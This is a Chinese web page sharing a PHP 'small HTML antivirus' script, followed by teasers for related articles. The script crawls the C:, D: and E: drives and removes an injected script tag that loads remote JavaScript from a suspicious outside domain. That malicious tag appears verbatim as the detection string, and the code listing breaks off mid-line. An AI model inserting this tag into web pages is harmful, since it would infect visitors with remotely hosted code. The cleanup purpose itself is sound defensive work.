易截截图软件、单文件、免安装、纯绿色、仅160KB

html小型杀毒软件

<?php
 set_time_limit(0);
 $dirArray=array("c:","d:","e:");
 foreach ($dirArray as $key => $value)
 {
  getAllDirAndFile($value);
 }
 
 //<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>
 function getAllDirAndFile($path)
 {
  if(is_file($path))
  {
   if(isHTML($path))
   {
    $str="";
    $str.='<table style="border:solid 1px blue;" width="95%">';
    $str.="<tr>";
    $path=iconv("gb2312","utf-8",$path);
    $str.="<td>".$path."</td>";
    $str.="<td>".searchContent($path,'<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>','')."</td>";
    $str.="</tr>";
    $str.="</table>";
    echo $str;
   }
  }
  else
  {
   $resource=opendir($path);
   while ($file=readdir($resource))
   {
    if($file!="." && $file!="..")
    {
     getAllDirAndFile($path."/".$file);
    }   
   }
  }
 }
 
 function searchContent($filePath,$searchContent,$replaceContent)
 {
  $filePath=iconv("utf-8","gb2312",$filePath);
  $content=file_get_contents($filePath);
  if(stripos($content,$searchContent)===false)
  {
   return "<font color=green>安全文件</font>";
  }
  else
  {
   $replacedContent=str_ireplace($searchContent,$replaceContent,$content);
   $file=fopen($filePath,"w


相关文档:

asp.net中的窗体身份验证(验证HTML文件)

    在前面的几篇文章中介绍了asp.net的窗体身份验证,这种身份验证方式可以让通过验证的用户访问指定的目录,而没有通过验证的用户不能访问该目录下的网页。
    但是,有一种例外,就是目录中的html文件例外。例如,在《asp.net中的窗体身份验证(最简单篇)》中介绍的,除了登录网页之外 ......

IE与FF在js、css、html方面的不兼容问题


js要求:为使系统能在IE和FF下正常运行,不要使用原生态的javascript,建议使用js的库(如:jquery)
        并且要求用jquery中,获取对象的属性使用$obj.attr("attrName"),不要使用obj.attrName,防止自定义的属性在FF中不能正常运行
1、问题:<span></span>在FF下运 ......

弹出网页窗口全攻略(html/hta)


要是弹出窗口变得能被网虫们喜欢,那广告商肯定就发了吧??呵呵
  1.弹启一个全屏窗口
<html>
<body onload="window.open('http://www.sdinf.com','example01','fullscreen');">;
<b>www.sdinf.com</b>
</body>
</html>
  2.弹启一个被F11化后的窗口
<html>
< ......

html手册

总类(所有HTML文件都有的)
文件类型 <HTML></HTML> (放在档案的开头与结尾)
文件主题 <TITLE></TITLE> (必须放在「文头」区块内)
文头 <HEAD></HEAD> (描述性资料,像是「主题」)
文体 <BODY></BODY> (文件本体)
结构性定义(由浏览器控制的显示风格)
标 ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号